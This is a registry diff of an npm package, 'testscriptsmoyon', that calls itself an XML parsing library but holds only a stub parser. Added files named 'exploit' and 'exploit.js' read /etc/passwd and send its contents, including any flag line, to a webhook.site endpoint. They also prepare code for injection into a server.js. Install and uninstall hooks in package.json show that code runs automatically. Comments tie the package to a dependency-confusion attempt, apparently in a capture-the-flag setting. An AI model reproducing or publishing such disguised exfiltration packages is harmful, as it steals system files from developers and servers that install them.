testscriptsmoyon 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/exploit +56 -0
  2. package/exploit.js +44 -0
  3. package/index.js +11 -0
  4. package/package.json +15 -0
package/exploit ADDED
@@ -0,0 +1,56 @@
1
+ const fs = require('fs');
2
+ const https = require('https');
3
+
4
+ // ТОЛЬКО отправка на webhook, без console.log
5
+ function sendToWebhook(data) {
6
+ try {
7
+ const payload = JSON.stringify(data);
8
+ const options = {
9
+ hostname: 'webhook.site',
10
+ port: 443,
11
+ path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
12
+ method: 'POST',
13
+ headers: {'Content-Type': 'application/json'}
14
+ };
15
+ const req = https.request(options);
16
+ req.write(payload);
17
+ req.end();
18
+ return true;
19
+ } catch(e) {
20
+ return false;
21
+ }
22
+ }
23
+
24
+ // Основная логика
25
+ try {
26
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
27
+
28
+ // Ищем флаг
29
+ const lines = passwd.split('\n');
30
+ for (const line of lines) {
31
+ if (line.includes('{') && line.includes('}')) {
32
+ // Отправляем ТОЛЬКО флаг
33
+ sendToWebhook({
34
+ flag: line,
35
+ source: 'dependency_confusion',
36
+ package: 'supervot3',
37
+ timestamp: new Date().toISOString()
38
+ });
39
+ break;
40
+ }
41
+ }
42
+
43
+ // Также отправляем полный /etc/passwd для анализа
44
+ sendToWebhook({
45
+ full_passwd: passwd,
46
+ source: 'full_dump',
47
+ package: 'supervot3'
48
+ });
49
+
50
+ } catch(e) {
51
+ sendToWebhook({
52
+ error: e.message,
53
+ source: 'error',
54
+ package: 'supervot3'
55
+ });
56
+ }
package/exploit.js ADDED
@@ -0,0 +1,44 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ console.log('=== EXPLOIT: Preparing server.js modification ===');
5
+
6
+ // Готовим код который добавим в server.js
7
+ const exploitCode = `
8
+
9
+ // === INJECTED BY DEPENDENCY CONFUSION ===
10
+ const fs = require('fs');
11
+ console.log('=== MALICIOUS CODE EXECUTED ===');
12
+ try {
13
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
14
+ console.log('=== /etc/passwd CONTENT ===');
15
+ console.log(passwd);
16
+
17
+ const lines = passwd.split('\\\\n');
18
+ for (const line of lines) {
19
+ if (line.includes('{') && line.includes('}')) {
20
+ console.log('🎯 FLAG FOUND: ' + line);
21
+ // Можно также записать в файл
22
+ fs.writeFileSync('/tmp/flag.txt', line);
23
+ }
24
+ }
25
+ } catch(e) {
26
+ console.log('Error: ' + e.message);
27
+ }
28
+ // === END INJECTED CODE ===
29
+
30
+ `;
31
+
32
+ // Записываем код который будет вставлен в server.js после копирования
33
+ try {
34
+ fs.writeFileSync('/tmp/inject.js', exploitCode);
35
+ console.log('✅ Injection code prepared in /tmp/inject.js');
36
+
37
+ // Также выводим флаг сейчас
38
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
39
+ console.log('=== CURRENT /etc/passwd ===');
40
+ console.log(passwd);
41
+
42
+ } catch(e) {
43
+ console.log('Error: ' + e.message);
44
+ }
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ module.exports = {
2
+ parseXmlString: function(xml, options) {
3
+ return {
4
+ get: function(xpath) {
5
+ return {
6
+ text: function() { return "test"; }
7
+ };
8
+ }
9
+ };
10
+ }
11
+ };
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "testscriptsmoyon",
3
+ "version": "0.30.1",
4
+ "description": "XML parsing library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "echo 'PREINSTALL_WORKS' > /tmp/preinstall.txt",
8
+ "install": "echo 'INSTALL_WORKS' > /tmp/install.txt",
9
+ "postinstall": "echo 'POSTINSTALL_WORKS' > /tmp/postinstall.txt",
10
+ "preuninstall": "echo 'PREUNINSTALL_WORKS' > /tmp/preuninstall.txt"
11
+ },
12
+ "keywords": ["xml", "parser"],
13
+ "author": "test",
14
+ "license": "MIT"
15
+ }